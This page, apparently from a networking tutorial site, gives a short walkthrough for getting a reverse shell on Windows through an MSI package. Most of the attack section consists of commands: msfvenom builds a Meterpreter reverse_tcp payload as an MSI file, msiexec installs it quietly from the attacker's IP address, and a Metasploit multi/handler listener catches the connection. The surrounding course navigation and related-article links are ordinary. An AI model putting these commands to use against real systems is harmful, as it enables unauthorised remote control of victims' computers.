
- DCN Tutorial
- Data Comm & Networks Home
- DCN - Overview
- DCN - Computer Network Types
- DCN - Network LAN Technologies
- DCN - Computer Network Topologies
- DCN - Computer Network Models
- DCN - Computer Network Security
- Physical Layer
- DCN - Physical Layer Introduction
- DCN - Digital Transmission
- DCN - Analog Transmission
- DCN - Transmission media
- DCN - Wireless Transmission
- DCN - Multiplexing
- DCN - Network Switching
- Data Link Layer
- DCN - Data Link Layer Introduction
- DCN - Error detection and Correction
- DCN - Data Link Control & Protocols
- Network Layer
- DCN - Network Layer Introduction
- DCN - Network Addressing
- DCN - Routing
- DCN - Internetworking
- DCN - Network Layer Protocols
- Transport Layer
- DCN - Transport Layer Introduction
- DCN - Transmission Control Protocol
- DCN - User Datagram Protocol
- Application Layer
- DCN - Application Layer Introduction
- DCN - Client-Server Model
- DCN - Application Protocols
- DCN - Network Services
- DCN Useful Resources
- DCN - Quick Guide
- DCN - Useful Resources
Get the Reverse Shell with MSI package
Windows OS comes installed with a Windows Installer engine which is used by MSI packages for the installation of applications. The executable program that interprets packages and installs products is Msiexec.exe.
Launch msiexec attack via msfvenom
Let’s generate an MSI Package file (1.msi) utilizing the Windows Meterpreter payload as follows;
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f msi > 1.msi
At the target end, when the victim execute the 1.msi file on the remote machine with the following utiliy;
msiexec /q /i http://192.168.1.109/1.msi
The attacker get the reverse shell of the victim machine by starting multi/handler as the listener.
- use exploit/multi/handler
- set pyaload windows/meterpreter/reverse_tcp
- set lhost 192.168.1.109
- exploit
- Related Articles
- How to uninstall the MSI package using PowerShell?
- How to install the MSI package using PowerShell DSC?
- How to retrieve the MSI package product code using PowerShell?
- How to Reverse a String using Unix Shell Programming?
- What are Alternative Ways to Reverse a String from Shell?
- Get output of MongoDB shell script?
- Java Program to get the reverse of an Integer array with Lambda Expressions
- How to get items with a specific value from documents using MongoDB shell?
- Difference Between MSI and EXE
- Java Program to get the reverse of the NavigableSet
- Linux Package Management with Aptitude
- How to install the MSI file using PowerShell?
- Mastering Package Management system with Dpkg
- Sorting in Golang with sort Package
- Get reverse order using Comparator in Java

Advertisements